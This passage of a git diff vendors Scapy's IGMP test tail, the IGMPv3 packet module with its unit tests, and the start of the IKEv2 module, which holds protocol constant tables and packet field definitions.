+x[IGMP].igmpize() +assert x.mrcode == 20 +assert x[IP].dst == "224.0.0.1" + +x = Ether(src="00:01:02:03:04:05")/IP()/IGMP(gaddr="224.2.3.4", type=0x12) +x.mrcode = 1 +x[IGMP].igmpize() +x = Ether(raw(x)) +assert x.mrcode == 0 + +x.gaddr = "224.3.2.4" +x[IGMP].igmpize() +assert x.dst == "01:00:5e:03:02:04" + +x.ttl = 64 +x[IGMP].igmpize() +assert x.ttl == 1 + += Test mysummary + +x = Ether(src="00:01:02:03:04:05")/IP(src="192.168.0.1")/IGMP(gaddr="224.0.0.2", type=0x17) +x[IGMP].igmpize() +assert x[IGMP].mysummary() == "IGMP: 192.168.0.1 > 224.0.0.2 Leave Group 224.0.0.2" + +assert IGMP().mysummary() == "IGMP Group Membership Query 0.0.0.0" + += IGMP - misc +~ netaccess + +x = Ether(src="00:01:02:03:04:05")/IP(dst="192.168.0.1")/IGMP(gaddr="www.google.fr", type=0x11) +x = Ether(raw(x)) +assert not x[IGMP].igmpize() +assert x[IP].dst == "192.168.0.1" + +x = Ether(src="00:01:02:03:04:05")/IP(dst="192.168.0.1")/IGMP(gaddr="124.0.2.1", type=0x00) +assert not x[IGMP].igmpize() +assert x[IP].dst == "192.168.0.1" \ No newline at end of file diff --git a/libs/scapy/contrib/igmpv3.py b/libs/scapy/contrib/igmpv3.py new file mode 100755 index 0000000..4cf1b33 --- /dev/null +++ b/libs/scapy/contrib/igmpv3.py @@ -0,0 +1,179 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = Internet Group Management Protocol v3 (IGMPv3) +# scapy.contrib.status = loads + +from __future__ import print_function +from scapy.packet import Packet, bind_layers +from scapy.fields import BitField, ByteEnumField, ByteField, FieldLenField, \ + FieldListField, IPField, PacketListField, ShortField, XShortField +from scapy.compat import orb +from scapy.layers.inet import IP +from scapy.contrib.igmp import IGMP +from scapy.config import conf + +""" Based on the following references + http://www.iana.org/assignments/igmp-type-numbers + http://www.rfc-editor.org/rfc/pdfrfc/rfc3376.txt.pdf + +""" + +# See RFC3376, Section 4. Message Formats for definitions of proper IGMPv3 message format # noqa: E501 +# http://www.faqs.org/rfcs/rfc3376.html +# +# See RFC4286, For definitions of proper messages for Multicast Router Discovery. # noqa: E501 +# http://www.faqs.org/rfcs/rfc4286.html +# + + +class IGMPv3(IGMP): + """IGMP Message Class for v3. + + This class is derived from class Packet. + The fields defined below are a + direct interpretation of the v3 Membership Query Message. + Fields 'type' through 'qqic' are directly assignable. + For 'numsrc', do not assign a value. + Instead add to the 'srcaddrs' list to auto-set 'numsrc'. To + assign values to 'srcaddrs', use the following methods:: + + c = IGMPv3() + c.srcaddrs = ['1.2.3.4', '5.6.7.8'] + c.srcaddrs += ['192.168.10.24'] + + At this point, 'c.numsrc' is three (3) + + 'chksum' is automagically calculated before the packet is sent. + + 'mrcode' is also the Advertisement Interval field + + """ + name = "IGMPv3" + igmpv3types = {0x11: "Membership Query", + 0x22: "Version 3 Membership Report", + 0x30: "Multicast Router Advertisement", + 0x31: "Multicast Router Solicitation", + 0x32: "Multicast Router Termination"} + + fields_desc = [ByteEnumField("type", 0x11, igmpv3types), + ByteField("mrcode", 20), + XShortField("chksum", None)] + + def encode_maxrespcode(self): + """Encode and replace the mrcode value to its IGMPv3 encoded time value if needed, # noqa: E501 + as specified in rfc3376#section-4.1.1. + + If value < 128, return the value specified. If >= 128, encode as a floating # noqa: E501 + point value. Value can be 0 - 31744. + """ + value = self.mrcode + if value < 128: + code = value + elif value > 31743: + code = 255 + else: + exp = 0 + value >>= 3 + while(value > 31): + exp += 1 + value >>= 1 + exp <<= 4 + code = 0x80 | exp | (value & 0x0F) + self.mrcode = code + + def mysummary(self): + """Display a summary of the IGMPv3 object.""" + if isinstance(self.underlayer, IP): + return self.underlayer.sprintf("IGMPv3: %IP.src% > %IP.dst% %IGMPv3.type%") # noqa: E501 + else: + return self.sprintf("IGMPv3 %IGMPv3.type%") + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 4: + if orb(_pkt[0]) in [0x12, 0x16, 0x17]: + return IGMP + elif orb(_pkt[0]) == 0x11 and len(_pkt) < 12: + return IGMP + return IGMPv3 + + +class IGMPv3mq(Packet): + """IGMPv3 Membership Query. + Payload of IGMPv3 when type=0x11""" + name = "IGMPv3mq" + fields_desc = [IPField("gaddr", "0.0.0.0"), + BitField("resv", 0, 4), + BitField("s", 0, 1), + BitField("qrv", 0, 3), + ByteField("qqic", 0), + FieldLenField("numsrc", None, count_of="srcaddrs"), + FieldListField("srcaddrs", None, IPField("sa", "0.0.0.0"), count_from=lambda x: x.numsrc)] # noqa: E501 + + +class IGMPv3gr(Packet): + """IGMP Group Record for IGMPv3 Membership Report + + This class is derived from class Packet and should be added in the records + of an instantiation of class IGMPv3mr. + """ + name = "IGMPv3gr" + igmpv3grtypes = {1: "Mode Is Include", + 2: "Mode Is Exclude", + 3: "Change To Include Mode", + 4: "Change To Exclude Mode", + 5: "Allow New Sources", + 6: "Block Old Sources"} + + fields_desc = [ByteEnumField("rtype", 1, igmpv3grtypes), + ByteField("auxdlen", 0), + FieldLenField("numsrc", None, count_of="srcaddrs"), + IPField("maddr", "0.0.0.0"), + FieldListField("srcaddrs", [], IPField("sa", "0.0.0.0"), count_from=lambda x: x.numsrc)] # noqa: E501 + + def mysummary(self): + """Display a summary of the IGMPv3 group record.""" + return self.sprintf("IGMPv3 Group Record %IGMPv3gr.type% %IGMPv3gr.maddr%") # noqa: E501 + + def default_payload_class(self, payload): + return conf.padding_layer + + +class IGMPv3mr(Packet): + """IGMP Membership Report extension for IGMPv3. + Payload of IGMPv3 when type=0x22""" + name = "IGMPv3mr" + fields_desc = [XShortField("res2", 0), + FieldLenField("numgrp", None, count_of="records"), + PacketListField("records", [], IGMPv3gr, count_from=lambda x: x.numgrp)] # noqa: E501 + + +class IGMPv3mra(Packet): + """IGMP Multicast Router Advertisement extension for IGMPv3. + Payload of IGMPv3 when type=0x30""" + name = "IGMPv3mra" + fields_desc = [ShortField("qryIntvl", 0), + ShortField("robust", 0)] + + +bind_layers(IP, IGMPv3, frag=0, + proto=2, + ttl=1, + tos=0xc0, + dst='224.0.0.22') + +bind_layers(IGMPv3, IGMPv3mq, type=0x11) +bind_layers(IGMPv3, IGMPv3mr, type=0x22, mrcode=0x0) +bind_layers(IGMPv3, IGMPv3mra, type=0x30) diff --git a/libs/scapy/contrib/igmpv3.uts b/libs/scapy/contrib/igmpv3.uts new file mode 100755 index 0000000..4ae0964 --- /dev/null +++ b/libs/scapy/contrib/igmpv3.uts @@ -0,0 +1,56 @@ +############## +% IGMPv3 tests +############## + ++ Basic IGMPv3 tests + += Build IGMPv3 - Basic + +a=Ether(src="00:01:02:03:04:05") +b=IP(src="1.2.3.4") +c=IGMPv3(mrcode=154)/IGMPv3mq() +x = a/b/c +x[IGMPv3].igmpize() +assert x.mrcode == 131 +assert x[IP].dst == "224.0.0.1" +assert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3) + += Dissect IGMPv3 - IGMPv3mq + +x = Ether(b'\x14\x0cv\x8f\xfe(\x00\x01\x02\x03\x04\x05\x08\x00F\xc0\x00$\x00\x01\x00\x00\x01\x02\xe4h\xc0\xa8\x00\x01\xe0\x00\x00\x16\x94\x04\x00\x00\x11\x14\x0e\xe9\xe6\x00\x00\x02\x00\x00\x00\x00') +assert IGMPv3 in x +assert IGMPv3mq in x +assert x[IGMPv3mq].gaddr == "230.0.0.2" +assert x.summary() == "Ether / IP / IGMPv3: 192.168.0.1 > 224.0.0.22 Membership Query / IGMPv3mq" +assert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3) + += Dissect IGMPv3 - IGMPv3mr + +x = Ether(b'\x01\x00^\x00\x00\x16\xa8\xf9K\x00\x00\x01\x08\x00E\xc0\x00D\x00\x01\x00\x00\x01\x02\xd6\xdf\x01\x01\x01\x01\xe0\x00\x00\x16"\x00;\xa6\x00\x00\x00\x04\x01\x00\x00\x02\xe6\x00\x00\x00\xc0\xa8\x00\x01\xc0\xa8\x84\xf7\x01\x00\x00\x00\xe6\x00\x00\x01\x01\x00\x00\x00\xe6\x00\x00\x02\x01\x00\x00\x00\xe6\x00\x00\x03') +assert IGMPv3 in x +assert IGMPv3mr in x +assert len(x[IGMPv3mr].records) == 4 +assert x[IGMPv3mr].records[0].srcaddrs == ["192.168.0.1", "192.168.132.247"] +assert x[IGMPv3mr].records[1].maddr == "230.0.0.1" +assert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3) + += Dissect IGMPv3 - IGMPv3mra + +x = Ether(b'\x14\x0cv\x8f\xfe(\x00\x01\x02\x03\x04\x05\x08\x00F\xc0\x00 \x00\x01\x00\x00\x01\x02\xe4l\xc0\xa8\x00\x01\x7f\x00\x00\x01\x94\x04\x00\x000\x14\xcf\xe6\x00\x03\x00\x02') +assert IGMPv3 in x +assert IGMPv3mra in x +assert x[IGMPv3mra].qryIntvl == 3 +assert x[IGMPv3mra].robust == 2 +assert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3) + += IGMP vs IVMPv3 tests + +assert isinstance(IGMPv3(raw(IGMP())), IGMP) +assert isinstance(IGMPv3(raw(IGMP(type=0x11))), IGMP) +assert isinstance(IGMP(raw(IGMPv3()/IGMPv3mra())), IGMPv3) +assert isinstance(IGMP(raw(IGMPv3()/IGMPv3mq())), IGMPv3) + += IGMPv3 - summaries + +pkt = IGMPv3()/IGMPv3mr(records=[IGMPv3gr(maddr="127.0.0.1")]) +assert pkt.summary() == 'IGMPv3 Version 3 Membership Report / IGMPv3mr' diff --git a/libs/scapy/contrib/ikev2.py b/libs/scapy/contrib/ikev2.py new file mode 100755 index 0000000..5a035cd --- /dev/null +++ b/libs/scapy/contrib/ikev2.py @@ -0,0 +1,800 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = Internet Key Exchange v2 (IKEv2) +# scapy.contrib.status = loads + +import logging +import struct + + +# Modified from the original ISAKMP code by Yaron Sheffer , June 2010. # noqa: E501 + +from scapy.packet import Packet, bind_layers, split_layers, Raw +from scapy.fields import ByteEnumField, ByteField, ConditionalField, \ + FieldLenField, FlagsField, IP6Field, IPField, IntField, MultiEnumField, \ + PacketField, PacketLenField, PacketListField, ShortEnumField, ShortField, \ + StrFixedLenField, StrLenField, X3BytesField, XByteField +from scapy.layers.x509 import X509_Cert, X509_CRL +from scapy.layers.inet import IP, UDP +from scapy.layers.isakmp import ISAKMP +from scapy.sendrecv import sr +from scapy.config import conf +from scapy.volatile import RandString + +# see http://www.iana.org/assignments/ikev2-parameters for details +IKEv2AttributeTypes = {"Encryption": (1, {"DES-IV64": 1, + "DES": 2, + "3DES": 3, + "RC5": 4, + "IDEA": 5, + "CAST": 6, + "Blowfish": 7, + "3IDEA": 8, + "DES-IV32": 9, + "AES-CBC": 12, + "AES-CTR": 13, + "AES-CCM-8": 14, + "AES-CCM-12": 15, + "AES-CCM-16": 16, + "AES-GCM-8ICV": 18, + "AES-GCM-12ICV": 19, + "AES-GCM-16ICV": 20, + "Camellia-CBC": 23, + "Camellia-CTR": 24, + "Camellia-CCM-8ICV": 25, + "Camellia-CCM-12ICV": 26, + "Camellia-CCM-16ICV": 27, + }, 0), + "PRF": (2, {"PRF_HMAC_MD5": 1, + "PRF_HMAC_SHA1": 2, + "PRF_HMAC_TIGER": 3, + "PRF_AES128_XCBC": 4, + "PRF_HMAC_SHA2_256": 5, + "PRF_HMAC_SHA2_384": 6, + "PRF_HMAC_SHA2_512": 7, + "PRF_AES128_CMAC": 8, + }, 0), + "Integrity": (3, {"HMAC-MD5-96": 1, + "HMAC-SHA1-96": 2, + "DES-MAC": 3, + "KPDK-MD5": 4, + "AES-XCBC-96": 5, + "HMAC-MD5-128": 6, + "HMAC-SHA1-160": 7, + "AES-CMAC-96": 8, + "AES-128-GMAC": 9, + "AES-192-GMAC": 10, + "AES-256-GMAC": 11, + "SHA2-256-128": 12, + "SHA2-384-192": 13, + "SHA2-512-256": 14, + }, 0), + "GroupDesc": (4, {"768MODPgr": 1, + "1024MODPgr": 2, + "1536MODPgr": 5, + "2048MODPgr": 14, + "3072MODPgr": 15, + "4096MODPgr": 16, + "6144MODPgr": 17, + "8192MODPgr": 18, + "256randECPgr": 19, + "384randECPgr": 20, + "521randECPgr": 21, + "1024MODP160POSgr": 22, + "2048MODP224POSgr": 23, + "2048MODP256POSgr": 24, + "192randECPgr": 25, + "224randECPgr": 26, + }, 0), + "Extended Sequence Number": (5, {"No ESN": 0, + "ESN": 1}, 0), + } + +IKEv2AuthenticationTypes = { + 0: "Reserved", + 1: "RSA Digital Signature", + 2: "Shared Key Message Integrity Code", + 3: "DSS Digital Signature", + 9: "ECDSA with SHA-256 on the P-256 curve", + 10: "ECDSA with SHA-384 on the P-384 curve", + 11: "ECDSA with SHA-512 on the P-521 curve", + 12: "Generic Secure Password Authentication Method", + 13: "NULL Authentication", + 14: "Digital Signature" +} + +IKEv2NotifyMessageTypes = { + 1: "UNSUPPORTED_CRITICAL_PAYLOAD", + 4: "INVALID_IKE_SPI", + 5: "INVALID_MAJOR_VERSION", + 7: "INVALID_SYNTAX", + 9: "INVALID_MESSAGE_ID", + 11: "INVALID_SPI", + 14: "NO_PROPOSAL_CHOSEN", + 17: "INVALID_KE_PAYLOAD", + 24: "AUTHENTICATION_FAILED", + 34: "SINGLE_PAIR_REQUIRED", + 35: "NO_ADDITIONAL_SAS", + 36: "INTERNAL_ADDRESS_FAILURE", + 37: "FAILED_CP_REQUIRED", + 38: "TS_UNACCEPTABLE", + 39: "INVALID_SELECTORS", + 40: "UNACCEPTABLE_ADDRESSES", + 41: "UNEXPECTED_NAT_DETECTED", + 42: "USE_ASSIGNED_HoA", + 43: "TEMPORARY_FAILURE", + 44: "CHILD_SA_NOT_FOUND", + 45: "INVALID_GROUP_ID", + 46: "AUTHORIZATION_FAILED", + 16384: "INITIAL_CONTACT", + 16385: "SET_WINDOW_SIZE", + 16386: "ADDITIONAL_TS_POSSIBLE", + 16387: "IPCOMP_SUPPORTED", + 16388: "NAT_DETECTION_SOURCE_IP", + 16389: "NAT_DETECTION_DESTINATION_IP", + 16390: "COOKIE", + 16391: "USE_TRANSPORT_MODE", + 16392: "HTTP_CERT_LOOKUP_SUPPORTED", + 16393: "REKEY_SA", + 16394: "ESP_TFC_PADDING_NOT_SUPPORTED", + 16395: "NON_FIRST_FRAGMENTS_ALSO", + 16396: "MOBIKE_SUPPORTED", + 16397: "ADDITIONAL_IP4_ADDRESS", + 16398: "ADDITIONAL_IP6_ADDRESS", + 16399: "NO_ADDITIONAL_ADDRESSES", + 16400: "UPDATE_SA_ADDRESSES", + 16401: "COOKIE2", + 16402: "NO_NATS_ALLOWED", + 16403: "AUTH_LIFETIME", + 16404: "MULTIPLE_AUTH_SUPPORTED", + 16405: "ANOTHER_AUTH_FOLLOWS", + 16406: "REDIRECT_SUPPORTED", + 16407: "REDIRECT", + 16408: "REDIRECTED_FROM", + 16409: "TICKET_LT_OPAQUE", + 16410: "TICKET_REQUEST", + 16411: "TICKET_ACK", + 16412: "TICKET_NACK", + 16413: "TICKET_OPAQUE", + 16414: "LINK_ID", + 16415: "USE_WESP_MODE", + 16416: "ROHC_SUPPORTED", + 16417: "EAP_ONLY_AUTHENTICATION", + 16418: "CHILDLESS_IKEV2_SUPPORTED", + 16419: "QUICK_CRASH_DETECTION", + 16420: "IKEV2_MESSAGE_ID_SYNC_SUPPORTED", + 16421: "IPSEC_REPLAY_COUNTER_SYNC_SUPPORTED", + 16422: "IKEV2_MESSAGE_ID_SYNC", + 16423: "IPSEC_REPLAY_COUNTER_SYNC", + 16424: "SECURE_PASSWORD_METHODS", + 16425: "PSK_PERSIST", + 16426: "PSK_CONFIRM", + 16427: "ERX_SUPPORTED", + 16428: "IFOM_CAPABILITY", + 16429: "SENDER_REQUEST_ID", + 16430: "IKEV2_FRAGMENTATION_SUPPORTED", + 16431: "SIGNATURE_HASH_ALGORITHMS", + 16432: "CLONE_IKE_SA_SUPPORTED", + 16433: "CLONE_IKE_SA" +} + +IKEv2CertificateEncodings = { + 1: "PKCS #7 wrapped X.509 certificate", + 2: "PGP Certificate", + 3: "DNS Signed Key", + 4: "X.509 Certificate - Signature", + 6: "Kerberos Token", + 7: "Certificate Revocation List (CRL)", + 8: "Authority Revocation List (ARL)", + 9: "SPKI Certificate", + 10: "X.509 Certificate - Attribute", + 11: "Raw RSA Key", + 12: "Hash and URL of X.509 certificate", + 13: "Hash and URL of X.509 bundle" +} + +IKEv2TrafficSelectorTypes = { + 7: "TS_IPV4_ADDR_RANGE", + 8: "TS_IPV6_ADDR_RANGE", + 9: "TS_FC_ADDR_RANGE" +} + +IPProtocolIDs = { + 0: "All protocols", + 1: "Internet Control Message Protocol", + 2: "Internet Group Management Protocol", + 3: "Gateway-to-Gateway Protocol", + 4: "IP in IP (encapsulation)", + 5: "Internet Stream Protocol", + 6: "Transmission Control Protocol", + 7: "Core-based trees", + 8: "Exterior Gateway Protocol", + 9: "Interior Gateway Protocol (any private interior gateway (used by Cisco for their IGRP))", # noqa: E501 + 10: "BBN RCC Monitoring", + 11: "Network Voice Protocol", + 12: "Xerox PUP", + 13: "ARGUS", + 14: "EMCON", + 15: "Cross Net Debugger", + 16: "Chaos", + 17: "User Datagram Protocol", + 18: "Multiplexing", + 19: "DCN Measurement Subsystems", + 20: "Host Monitoring Protocol", + 21: "Packet Radio Measurement", + 22: "XEROX NS IDP", + 23: "Trunk-1", + 24: "Trunk-2", + 25: "Leaf-1", + 26: "Leaf-2", + 27: "Reliable Datagram Protocol", + 28: "Internet Reliable Transaction Protocol", + 29: "ISO Transport Protocol Class 4", + 30: "Bulk Data Transfer Protocol", + 31: "MFE Network Services Protocol", + 32: "MERIT Internodal Protocol", + 33: "Datagram Congestion Control Protocol", + 34: "Third Party Connect Protocol", + 35: "Inter-Domain Policy Routing Protocol", + 36: "Xpress Transport Protocol", + 37: "Datagram Delivery Protocol", + 38: "IDPR Control Message Transport Protocol", + 39: "TP++ Transport Protocol", + 40: "IL Transport Protocol", + 41: "IPv6 Encapsulation", + 42: "Source Demand Routing Protocol", + 43: "Routing Header for IPv6", + 44: "Fragment Header for IPv6", + 45: "Inter-Domain Routing Protocol", + 46: "Resource Reservation Protocol", + 47: "Generic Routing Encapsulation", + 48: "Mobile Host Routing Protocol", + 49: "BNA", + 50: "Encapsulating Security Payload", + 51: "Authentication Header", + 52: "Integrated Net Layer Security Protocol", + 53: "SwIPe", + 54: "NBMA Address Resolution Protocol", + 55: "IP Mobility (Min Encap)", + 56: "Transport Layer Security Protocol (using Kryptonet key management)", + 57: "Simple Key-Management for Internet Protocol", + 58: "ICMP for IPv6", + 59: "No Next Header for IPv6", + 60: "Destination Options for IPv6", + 61: "Any host internal protocol", + 62: "CFTP", + 63: "Any local network", + 64: "SATNET and Backroom EXPAK", + 65: "Kryptolan", + 66: "MIT Remote Virtual Disk Protocol", + 67: "Internet Pluribus Packet Core", + 68: "Any distributed file system", + 69: "SATNET Monitoring", + 70: "VISA Protocol", + 71: "Internet Packet Core Utility", + 72: "Computer Protocol Network Executive", + 73: "Computer Protocol Heart Beat", + 74: "Wang Span Network", + 75: "Packet Video Protocol", + 76: "Backroom SATNET Monitoring", + 77: "SUN ND PROTOCOL-Temporary", + 78: "WIDEBAND Monitoring", + 79: "WIDEBAND EXPAK", + 80: "International Organization for Standardization Internet Protocol", + 81: "Versatile Message Transaction Protocol", + 82: "Secure Versatile Message Transaction Protocol", + 83: "VINES", + 84: "Internet Protocol Traffic Manager", + 85: "NSFNET-IGP", + 86: "Dissimilar Gateway Protocol", + 87: "TCF", + 88: "EIGRP", + 89: "Open Shortest Path First", + 90: "Sprite RPC Protocol", + 91: "Locus Address Resolution Protocol", + 92: "Multicast Transport Protocol", + 93: "AX.25", + 94: "IP-within-IP Encapsulation Protocol", + 95: "Mobile Internetworking Control Protocol", + 96: "Semaphore Communications Sec. Pro", + 97: "Ethernet-within-IP Encapsulation", + 98: "Encapsulation Header", + 99: "Any private encryption scheme", + 100: "GMTP", + 101: "Ipsilon Flow Management Protocol", + 102: "PNNI over IP", + 103: "Protocol Independent Multicast", + 104: "IBM's ARIS (Aggregate Route IP Switching) Protocol", + 105: "SCPS (Space Communications Protocol Standards)", + 106: "QNX", + 107: "Active Networks", + 108: "IP Payload Compression Protocol", + 109: "Sitara Networks Protocol", + 110: "Compaq Peer Protocol", + 111: "IPX in IP", + 112: "Virtual Router Redundancy Protocol, Common Address Redundancy Protocol (not IANA assigned)", # noqa: E501 + 113: "PGM Reliable Transport Protocol", + 114: "Any 0-hop protocol", + 115: "Layer Two Tunneling Protocol Version 3", + 116: "D-II Data Exchange (DDX)", + 117: "Interactive Agent Transfer Protocol", + 118: "Schedule Transfer Protocol", + 119: "SpectraLink Radio Protocol", + 120: "Universal Transport Interface Protocol", + 121: "Simple Message Protocol", + 122: "Simple Multicast Protocol", + 123: "Performance Transparency Protocol", + 124: "Intermediate System to Intermediate System (IS-IS) Protocol over IPv4", # noqa: E501 + 125: "Flexible Intra-AS Routing Environment", + 126: "Combat Radio Transport Protocol", + 127: "Combat Radio User Datagram", + 128: "Service-Specific Connection-Oriented Protocol in a Multilink and Connectionless Environment", # noqa: E501 + 129: "IPLT", + 130: "Secure Packet Shield", + 131: "Private IP Encapsulation within IP", + 132: "Stream Control Transmission Protocol", + 133: "Fibre Channel", + 134: "Reservation Protocol (RSVP) End-to-End Ignore", + 135: "Mobility Extension Header for IPv6", + 136: "Lightweight User Datagram Protocol", + 137: "Multiprotocol Label Switching Encapsulated in IP", + 138: "MANET Protocols", + 139: "Host Identity Protocol", + 140: "Site Multihoming by IPv6 Intermediation", + 141: "Wrapped Encapsulating Security Payload", + 142: "Robust Header Compression", +} + +# the name 'IKEv2TransformTypes' is actually a misnomer (since the table +# holds info for all IKEv2 Attribute types, not just transforms, but we'll +# keep it for backwards compatibility... for now at least +IKEv2TransformTypes = IKEv2AttributeTypes + +IKEv2TransformNum = {} +for n in IKEv2TransformTypes: + val = IKEv2TransformTypes[n] + tmp = {} + for e in val[1]: + tmp[val[1][e]] = e + IKEv2TransformNum[val[0]] = tmp + +IKEv2Transforms = {} +for n in IKEv2TransformTypes: + IKEv2Transforms[IKEv2TransformTypes[n][0]] = n + +del(n) +del(e) +del(tmp) +del(val) + +# Note: Transform and Proposal can only be used inside the SA payload +IKEv2_payload_type = ["None", "", "Proposal", "Transform"] + +IKEv2_payload_type.extend([""] * 29) +IKEv2_payload_type.extend(["SA", "KE", "IDi", "IDr", "CERT", "CERTREQ", "AUTH", "Nonce", "Notify", "Delete", # noqa: E501 + "VendorID", "TSi", "TSr", "Encrypted", "CP", "EAP", "", "", "", "", "Encrypted Fragment"]) # noqa: E501 + +IKEv2_exchange_type = [""] * 34 +IKEv2_exchange_type.extend(["IKE_SA_INIT", "IKE_AUTH", "CREATE_CHILD_SA", + "INFORMATIONAL", "IKE_SESSION_RESUME"]) + + +class IKEv2_class(Packet): + def guess_payload_class(self, payload): + np = self.next_payload + logging.debug("For IKEv2_class np=%d" % np) + if np == 0: + return conf.raw_layer + elif np < len(IKEv2_payload_type): + pt = IKEv2_payload_type[np] + logging.debug(globals().get("IKEv2_payload_%s" % pt, IKEv2_payload)) # noqa: E501 + return globals().get("IKEv2_payload_%s" % pt, IKEv2_payload) + else: + return IKEv2_payload + + +class IKEv2(IKEv2_class): # rfc4306 + name = "IKEv2" + fields_desc = [ + StrFixedLenField("init_SPI", "", 8), + StrFixedLenField("resp_SPI", "", 8), + ByteEnumField("next_payload", 0, IKEv2_payload_type), + XByteField("version", 0x20), + ByteEnumField("exch_type", 0, IKEv2_exchange_type), + FlagsField("flags", 0, 8, ["res0", "res1", "res2", "Initiator", "Version", "Response", "res6", "res7"]), # noqa: E501 + IntField("id", 0), + IntField("length", None) # Length of total message: packets + all payloads # noqa: E501 + ] + + def guess_payload_class(self, payload): + if self.flags & 1: + return conf.raw_layer + return IKEv2_class.guess_payload_class(self, payload) + + def answers(self, other): + if isinstance(other, IKEv2): + if other.init_SPI == self.init_SPI: + return 1 + return 0 + + def post_build(self, p, pay): + p += pay + if self.length is None: + p = p[:24] + struct.pack("!I", len(p)) + p[28:] + return p + + +class IKEv2_Key_Length_Attribute(IntField): + # We only support the fixed-length Key Length attribute (the only one currently defined) # noqa: E501 + def __init__(self, name): + IntField.__init__(self, name, 0x800E0000) + + def i2h(self, pkt, x): + return IntField.i2h(self, pkt, x & 0xFFFF) + + def h2i(self, pkt, x): + return IntField.h2i(self, pkt, (x if x is not None else 0) | 0x800E0000) # noqa: E501 + + +class IKEv2_payload_Transform(IKEv2_class): + name = "IKE Transform" + fields_desc = [ + ByteEnumField("next_payload", None, {0: "last", 3: "Transform"}), + ByteField("res", 0), + ShortField("length", 8), + ByteEnumField("transform_type", None, IKEv2Transforms), + ByteField("res2", 0), + MultiEnumField("transform_id", None, IKEv2TransformNum, depends_on=lambda pkt: pkt.transform_type, fmt="H"), # noqa: E501 + ConditionalField(IKEv2_Key_Length_Attribute("key_length"), lambda pkt: pkt.length > 8), # noqa: E501 + ] + + +class IKEv2_payload_Proposal(IKEv2_class): + name = "IKEv2 Proposal" + fields_desc = [ + ByteEnumField("next_payload", None, {0: "last", 2: "Proposal"}), + ByteField("res", 0), + FieldLenField("length", None, "trans", "H", adjust=lambda pkt, x: x + 8 + (pkt.SPIsize if pkt.SPIsize else 0)), # noqa: E501 + ByteField("proposal", 1), + ByteEnumField("proto", 1, {1: "IKEv2", 2: "AH", 3: "ESP"}), + FieldLenField("SPIsize", None, "SPI", "B"), + ByteField("trans_nb", None), + StrLenField("SPI", "", length_from=lambda pkt: pkt.SPIsize), + PacketLenField("trans", conf.raw_layer(), IKEv2_payload_Transform, length_from=lambda pkt: pkt.length - 8 - pkt.SPIsize), # noqa: E501 + ] + + +class IKEv2_payload(IKEv2_class): + name = "IKEv2 Payload" + fields_desc = [ + ByteEnumField("next_payload", None, IKEv2_payload_type), + FlagsField("flags", 0, 8, ["critical", "res1", "res2", "res3", "res4", "res5", "res6", "res7"]), # noqa: E501 + FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 4), + StrLenField("load", "", length_from=lambda x:x.length - 4), + ] + + +class IKEv2_payload_AUTH(IKEv2_class): + name = "IKEv2 Authentication" + overload_fields = {IKEv2: {"next_payload": 39}} + fields_desc = [ + ByteEnumField("next_payload", None, IKEv2_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 8), + ByteEnumField("auth_type", None, IKEv2AuthenticationTypes), + X3BytesField("res2", 0), + StrLenField("load", "", length_from=lambda x:x.length - 8), + ] + + +class IKEv2_payload_VendorID(IKEv2_class): + name = "IKEv2 Vendor ID" + overload_fields = {IKEv2: {"next_payload": 43}} + fields_desc = [ + ByteEnumField("next_payload", None, IKEv2_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "vendorID", "H", adjust=lambda pkt, x:x + 4), # noqa: E501 + StrLenField("vendorID", "", length_from=lambda x:x.length - 4), + ] + + +class TrafficSelector(Packet): + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 16: + ts_type = struct.unpack("!B", _pkt[0:1])[0] + if ts_type == 7: + return IPv4TrafficSelector + elif ts_type == 8: + return IPv6TrafficSelector + elif ts_type == 9: + return EncryptedTrafficSelector + else: + return RawTrafficSelector + return IPv4TrafficSelector + + +class IPv4TrafficSelector(TrafficSelector): + name = "IKEv2 IPv4 Traffic Selector" + fields_desc = [ + ByteEnumField("TS_type", 7, IKEv2TrafficSelectorTypes), + ByteEnumField("IP_protocol_ID", None, IPProtocolIDs), + ShortField("length", 16), + ShortField("start_port", 0), + ShortField("end_port", 65535), + IPField("starting_address_v4", "192.168.0.1"), + IPField("ending_address_v4", "192.168.0.255"), + ] + + +class IPv6TrafficSelector(TrafficSelector): + name = "IKEv2 IPv6 Traffic Selector" + fields_desc = [ + ByteEnumField("TS_type", 8, IKEv2TrafficSelectorTypes), + ByteEnumField("IP_protocol_ID", None, IPProtocolIDs), + ShortField("length", 20), + ShortField("start_port", 0), + ShortField("end_port", 65535), + IP6Field("starting_address_v6", "2001::"), + IP6Field("ending_address_v6", "2001::"), + ] + + +class EncryptedTrafficSelector(TrafficSelector): + name = "IKEv2 Encrypted Traffic Selector" + fields_desc = [ + ByteEnumField("TS_type", 9, IKEv2TrafficSelectorTypes), + ByteEnumField("IP_protocol_ID", None, IPProtocolIDs), + ShortField("length", 16), + ByteField("res", 0), + X3BytesField("starting_address_FC", 0), + ByteField("res2", 0), + X3BytesField("ending_address_FC", 0), + ByteField("starting_R_CTL", 0), + ByteField("ending_R_CTL", 0), + ByteField("starting_type", 0), + ByteField("ending_type", 0), + ] + + +class RawTrafficSelector(TrafficSelector): + name = "IKEv2 Encrypted 